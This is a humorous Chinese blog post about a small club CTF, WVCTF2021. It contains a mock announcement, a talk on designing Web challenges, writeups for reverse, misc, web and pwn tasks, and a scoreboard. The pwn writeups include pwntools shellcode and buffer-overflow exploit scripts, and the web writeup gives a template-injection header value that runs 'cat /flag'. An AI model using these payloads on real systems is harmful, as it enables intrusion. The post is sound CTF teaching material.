31 Jan 2021

贵🐋WVCTF2021

贵🐋WVCTF2021

WVCTF

WVCTF,全称 Winter Vacation Capture The Flag,翻译过来就是冬天假期抢旗子。

贵🐋有寒假办比赛的传统,👴那年是 WVCTF2019,也没多少人打。参加过那场比赛,现在还活着的,除了👴,只有陈延毕。

题是啥👴忘了,反正和今年一样,都是屎题。

关于举办 “WVCTF2021” 的通知

为深入贯彻落实,提升,促进,由 StudentUnion 战队指导,贵🐋主办,贵🐋znh 承办,不使用北京易霖博信息技术有限公司平台的 WVCTF2021(以下简称竞赛)将于 2021 年 1 月 30 日 至 2021年 1 月 31 日举行,现将有关事项通知如下:

竞赛目的

防止 20 级白给

通过竞赛的方式提升学生攻防兼备的网络创新实践能力,培养学生的创新意识与团队合作精神,普及信息安全知识,增强学生信息安全意识,提高学生的网络空间安全创新能力与实践技能。

组织机构

指导单位:StudentUnion 战队

主办单位:贵🐋

承办单位:贵🐋znh

参赛方式

CTFd 注册

各参赛选手通过竞赛官方网站进行线上报名,主办方将于 2021 年 1 月 30 日前完成各参赛选手资格审查,并公布参赛选手名单。

竞赛为公益性赛事,不收取任何参赛费用。

竞赛官网将在官方 QQ 群中公布。

竞赛内容

CTF

本次竞赛采取线上答题模式(CTF赛制),赛题内容主要涉及二进制漏洞挖掘利用、逆向工程、密码学、Web 安全、信息搜集、隐写分析等信息安全领域的主要知识与技能,重点考察参赛人员信息安全基本技能和相关知识的综合运用能力。

为防止 20 级新生不会出题影响 2021 纳新工作,本次竞赛需要每位参赛选手自带原创题目参加比赛,参赛选手需要向主办方提供一道题目,类型不限。

要求选手自带题目的比赛大多是垃圾比赛,比如 CCISC2020

但是👴想让他们学学出题

评审规则

交 flag、交 wp

参赛选手用注册成功的账号登陆线上赛网站进行答题,每道赛题均内置1个 flag ,设置一定的分值,选手解题后得到 flag 并提交即可获得相应的分数。比赛结束后24小时内,各参赛选手需提交解出的每道赛题的详细解题报告(Writeup)。经主办方审核后,确定各选手最终得分和排名。未按主办方要求提交解题报告或发现作弊行为的,取消比赛成绩,并进行通报。

竞赛设置监督委员会,监督委员会本着公平公正的原则对比赛情况进行监督,接受参赛队伍的申诉并进行裁决。如参赛队伍对成绩有异议,可在结果正式公布前向监督委员会进行申诉。

奖项设置

没奖

为全面贯彻落实中央网络安全和信息化委员会办公室关于规范促进网络安全竞赛活动的通知,防止网络安全竞赛中出现选手逐利化等无序发展的现象,发挥网络安全竞赛在网络安全人才培养、技术和产业发展中的积极作用,本次竞赛不设奖金,按照有关规定以适当形式对在竞赛中取得优异成绩的人员予以表彰奖励。

WVCTF2021 没有取消

由于没有多少人注册,贵🐋znh 弥漫着一种悲观的情绪

三万👴:☀了

7k👴:就两个人?

👴:那你赚了吗?

三万👴:那还办个🔨

👴:马上写战报《贵🐋WVCTF2021 胎死腹中》

三万👴在 2021 年 1 月 29 日发表重要讲话

因为同学们的参赛积极性问题,临时决定截至今晚 9:00,如果参赛人数不超过10个,本次比赛将予取消。

陈延毕发表社论

去年省赛时,我看见 AiDai 选手颓坐在椅子上一副司马脸的样子,这个画面我永生难忘。那一刻我在想,如果我能成为职业选手,我一定要赢下所有。如今WinterVacationCTF 就在眼前,我必须考虑这会不会是我最后的机会。重铸贵🐋荣光,我辈义不容辞。

👴作出重要指示

那你赚了🐎

果然在夜里九点注册人数不到十人,在👴🚪任务比赛要取消的时候,三万👴@全体成员,又有两位同学注册了账号,人数超过十人,WVCTF2021 没有取消。

历史转折点的三万👴

陈延毕作“Web 如何出题”主题报告

陈延毕日:

子曰:未啖豕,闻豕走矣已。作为一个 CTFer,学会自己设计 CTF 赛题也是很重要的。下面从 Web 狗的角度简介如何出 Web 题。

一道合格的赛题有以下几个要素:有解,可复现,稳定运行。前两个很好理解,比如“宇宙的意义是什么”或者“flag 是一个很大的质数”就不能作为 CTF 赛题。对于第三个要求,就 Web 题而言,题目本体就是一个小网站,因此要求这个网站是能在比赛期间稳定地在服务器上跑着的。

以上只是能称之为题的最低要求,要想将其和垃圾区别开,还需要做到合理引导,有创意等。第一点让题目“好做”,第二点让题目“好玩”。那么什么叫有创意的题目呢,👴懒得想了。对了,就介绍一下如何出题吧。

首先,你要有一个题目的点子,比如你发现了某个版本的 php 语法的某些细节会带来非预期的结果;审计某网站模板(cms)的时候发现了代码的某个角落有个没人注意的漏洞;或者你对 http 协议有了自己的想法准备投一篇 TIFS 的论文,闲暇之余余可以将你的 idea 改成 ctf 赛题……好吧这太遥远了,面向新手来说,考察已经有了的漏洞类型就可以了。从竞赛的角度,大多都是在原有题型的基础上增加亿点点细节(俗称抠缝),设置亿点点障碍(俗称塞屎),加上亿点点组合(俗称套娃)。好吧这还是有点遥远,我们可以继续退而求其次,考察单个知识点。

  • 比如,我想考会不会用 header

然后,要把我们的点子变成实际的题目。还是就web题来说,我们知道它就是一个网站,下面要问两个问题,网站跑什么内容?网站在哪跑?第一个问题,指网站代码,第二个问题指网站的运行环境。有了点子就可以写出代码,配环境确实是麻烦事,还好我们有神器 docker 和神器 plus:docker-compose。这个工具就是为了简化配环境这一步,因此必须熟练掌握(不管是不是 ctfer 只要是计算机学生都有必要掌握)。

  • 比如,我写了三行的 dockerfile 就可以起一个 php 的环境,用十几行 php 代码,就写了一个简单到令人发指的网站(这里就体现了 php 的优势了),它可以对 header 做一些事情,并在某些情况下弹一个 flag

最后,做好测试和运维。测试网站会不会轻易崩溃,检查题目预期解是否正确等。测试完就可以写题目文档,官方 writeup 了。最后打包在一起,这就是你的知识产权(可以卖钱的那种哦)。

  • 比如,记住这句神奇的咒语:“docker-compose up -d –build”。

现在我们的题目已经大功告成了!快放出来期待选手们的表现吧!(比赛结束后)什么,0 解?那没事了。

WVCTF2021 WriteUp

Reverse

sl

小火车,改了源码,塞了个 flag 进去

    static char *Smoke[2][SMOKEPTNS]
        = \{\{"(   )", "(    )", "(    )", "(   )", "(  )",
            "(  )" , "( )"   , "( )"   , "()"   , "()"  ,
            "O"    , "O"     , "O"     , "O"    , "O"   ,
            " "                                          \},
           \{"(f@@)", "(l@@@)", "(a@@@)", "(g@@)", "({@)",
            "(s@)" , "(l)"   , "(_)"   , "n@"   , "o@"  ,
            "t"    , "_"     , "l"     , "s"    , "}"   ,
            " "                                          \}\};

一个一个字符塞的,比纳新的打开直接看到 flag 难了一点,但还是 IDA 打开看字符串就能找到,当然你要是运行硬看出来也行。

flag{sl_not_ls}

hamburger

一日三餐没烦恼,今天就吃老⑧秘制小汉堡。

这题和 2020 校赛差不多一样,那道题检查汉堡用的是 md5 而不是 base64。

Three meals a day no worries, just eat Old Eight's crafted small hamburger.
Old Irons, your flag is flag{md5(your_hamburger)}.
======================
1.chou_dou_fu
2.fu_lu
3.lao_gan_ma
4.jiu_cai_hua
5.chou_lu_xia
======================
choice:

IDA 看一眼可以发现有个长字符串看着像 base64

Ym90dG9tY2hvdWx1eGlhaml1Y2FpaHVhZnVsdWxhb2dhbm1hY2hvdWRvdWZ1Y2hvdWx1eGlhY2hvdWx1eGlhaml1Y2FpaHVhY2hvdWRvdWZ1ZnVsdWNvdmVy

解一下果然是 base64,出题人真是太弱智了

bottomchouluxiajiucaihuafululaoganmachoudoufuchouluxiachouluxiajiucaihuachoudoufufulucover

很容易想到整个逻辑是选择配料,也就是把配料字符串加起来,base64 编码后进行比较,如果相同就是美食家。

美食家的汉堡是:臭卤虾+韭菜花+俘虏+老干妈+臭豆腐+臭卤虾+臭卤虾+韭菜花+臭豆腐+俘虏。

base64 解出来的字符串再 md5 就得到了 flag。

flag{e10c6e29a2d4bdfe2d3fb87d5bcb6838}

Misc

Checkin

提交了自己的原创题目之后问管理员要 flag。

flag{f25d1c91758871a9eda8d20a4db80ac4}

mc石头

lsb 隐写,zsteg 一把梭

zsteg flag.png

zsteg 安装方法

sudo apt install ruby
gem install zsteg

flag{e2f055332ee01948ba5443f940bde89b}

情债

”请认准我的唯一联系 QQ:337845818,Thank you“后可以听到明显的摩斯电码。

看频谱图可以看到长短线,当然你要是硬听出来也行。

-- -.-. ... .... .. - --- ..- -.-- -.-- -.. ...

flag{mcshitouyyds}

Misc1(Wjq)

foremost 能分出来东西,txt 里看到 66 6c 61 67,这就是 flag

foremost 5fi5nd551t.jpg

foremost 安装方法

sudo apt install foremost

把 flag 搞出来

data = [0x66,0x6c,0x61,0x67,0x7b,0x67,0x6f,0x30,0x64,0x5f,0x31,0x75,0x63,0x6b,0x5f,0x74,0x30,0x5f,0x79,0x30,0x75,0x21,0x7d,0x66,0x6c,0x61,0x67,0x7b,0x67,0x6f,0x30,0x64,0x5f,0x31,0x75,0x63,0x6b,0x5f,0x74,0x30,0x5f,0x79,0x30,0x75,0x21,0x7d,0x66,0x6c,0x61,0x67,0x7b,0x67,0x6f,0x30,0x64,0x5f,0x31,0x75,0x63,0x6b,0x5f,0x74,0x30,0x5f,0x79,0x30,0x75,0x21,0x7d,0x66,0x6c,0x61,0x67,0x7b,0x67,0x6f,0x30,0x64,0x5f,0x31,0x75,0x63,0x6b,0x5f,0x74,0x30,0x5f,0x79,0x30,0x75,0x21,0x7d,0x66,0x6c,0x61,0x67,0x7b,0x67,0x6f,0x30,0x64,0x5f,0x31,0x75,0x63,0x6b,0x5f,0x74,0x30,0x5f,0x79,0x30,0x75,0x21,0x7d,0x66,0x6c,0x61,0x67,0x7b,0x67,0x6f,0x30,0x64,0x5f,0x31,0x75,0x63,0x6b,0x5f,0x74,0x30,0x5f,0x79,0x30,0x75,0x21,0x7d]
flag = ''
for i in data:
	print(hex(i))
	flag += chr(i)
print(flag)
#flag{go0d_1uck_t0_y0u!}flag{go0d_1uck_t0_y0u!}flag{go0d_1uck_t0_y0u!}flag{go0d_1uck_t0_y0u!}flag{go0d_1uck_t0_y0u!}flag{go0d_1uck_t0_y0u!}

flag{go0d_1uck_t0_y0u!}

Misc2(Maskros)

文件没后缀名,他说是 pdf,file 看一下也是 pdf,那就添个后缀名打开

标题下面有一行东西,字体颜色是白色,看不到,但是可以复制下来。

Wm14aFozdENZVk5sTkRBNU5sOWtSV052UkdWZllYVjBhRzl5YVhOcWIydGxjbDk0UkgwPQ== 

看着像 base64,解一下

ZmxhZ3tCYVNlNDA5Nl9kRWNvRGVfYXV0aG9yaXNqb2tlcl94RH0=

Zmxh,flag,base64 继续解

flag{BaSe4096_dEcoDe_authorisjoker_xD}

Misc3(123)

文件名是 123.reverseMe

文件结尾是个 GNP,翻过来是 PNG,猜测是一张图片,字节全部倒序

with open('123.reverseMe','r') as f:
	data = f.read()

with open('flag.png','w') as f:
	f.write(data[::-1])

得到一张 png 图片,没 flag

把高度改高就有了

flag{blue_whale_yyds}

Web

《出题人的自我修养——Web 篇》

Request 里面添加

HEADER:YWRtaW4=

Response 会出现 flag

白给 rce

SSTI

X-Forwarded-For:{system('cat /flag')}

Pwn

Math Game

先做弱智数学题

Phase_1:
sin(?)*sin(?)+cos(?)*cos(?) == 1
1
Go on!
Phase_2:
x^3 - 7*x^2 + 152*x + 1024 - x^4 == 604, x = ?
6
Go on!
Phase_2:
0.1 + 0.2 == ?
0.30000000000000004
Go on!

然后可以执行 shellcode

#!/usr/bin/env python

from pwn import *
a = process("./mymath")
context.arch = 'amd64'

shellcode = shellcraft.sh();

a.sendlineafter("== 1", '1');
a.sendlineafter("x = ?", '6');
a.sendlineafter("== ?", '0.30000000000000004')
pause()
a.sendlineafter("something:", asm(shellcode))
a.interactive()

flag{M4th_4nd_5h31lCode}

Pwn1(小渔村)

ret2shellcode

from pwn import *
a = process("./chicken_or_egg")
context.arch = 'amd64'
context.log_level = 'debug'

shellcode = asm(shellcraft.sh())
payload = 'a' * 0x28 + p64(0x404060)

a.send(shellcode)
sleep(0.1)
pause()
a.send(payload)
a.interactive()

flag{Ly_cam3_f1rst}

bbheap

没人做,下线了

Crypto

全没人做,下线了

7k👴:老子花了一个上午复习了一轮 RSA,结果这个 B 出的题我做不出来

WVCTF2021 圆满结束

2021 年 1 月 31 日, WVCTF2021 圆满结束。来自贵社 19 级、20 级的 11 名网络安全精英在 CTFd 平台中激烈鏖战,最终有 7 名选手成功得分,展现了高超的解题技巧。

参赛选手 分数 获奖信息
小渔村 9340 第一名
Maskros 7349 第二名
没出题妄图白嫖 5349 第三名
Wjq 3775 第四名
404 2700 第五名
123 1676 第六名
hhh 775 第七名

Tags:
0 comments



本作品采用知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议CC BY-NC-ND 4.0)进行许可。

This work is licensed under the Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License (CC BY-NC-ND 4.0).